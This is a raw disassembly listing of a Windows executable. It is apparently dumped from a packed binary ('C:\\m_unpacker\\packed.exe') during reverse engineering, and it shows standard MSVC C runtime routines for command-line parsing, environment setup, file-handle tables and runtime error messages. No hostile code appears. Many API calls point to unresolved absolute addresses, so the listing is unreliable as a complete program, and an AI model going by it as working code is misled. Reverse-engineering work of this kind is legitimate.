; CODE XREF: ___:00422E79j push esi mov esi, dword_4DCFCC mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DCFD4, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB998 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB950, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB998 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB998 call sub_41B0B1 pop ecx mov dword_4DB998, ebx mov [esi], ebx pop edi pop esi mov dword_4DCFD0, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DCFD4, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2670000h mov eax, dword_4DCFCC mov off_4DB960, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB948, esi pop edi pop esi mov dword_4DB944, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DCEA1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DCEA1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DCEA1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DCEA1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DBB08 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DBB08, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 2630966h mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DBB08, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2630BFCh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 2630966h mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2630C59h mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DCC80, esi mov dword_4DCD80, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DCC80 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 28A0000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DCD80, esi jge short loc_4233E6 mov edi, offset dword_4DCC84 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DCD80, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DCD80, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DCD80 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 2630000h test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DCC80[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DCC80 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax call near ptr 263067Fh nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 2630000h test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DCD80 nop call near ptr 2630891h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB9A0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A974, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DBB0C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D008 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43D098 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D008[esi] jnz loc_423719 mov eax, dword_4DB9A0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A974, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2670000h test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43D00C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43D00C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 263067Fh nop push eax nop call near ptr 2700000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DCC80 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DCD80 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DCD80, 20h lea ecx, ds:4DCC80h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DCD80 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DCC80h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A974, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj call near ptr 2620D06h nop loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB92C, 0 mov dword_4DB928, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DCD80 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DCC80h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A974, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2620D06h loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB92C, 0 mov dword_4DB928, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCD80 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCC80[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB92C, 0 mov dword_4DB928, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCD80 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DCC80[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax call near ptr 26207E7h nop test eax, eax jnz short loc_42391D call near ptr 268082Fh nop jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB92C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB928, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DCC60 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DCC60, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DBC48, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DCC60, esi call sub_424E01 pop ecx mov dword_4DBC48, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx 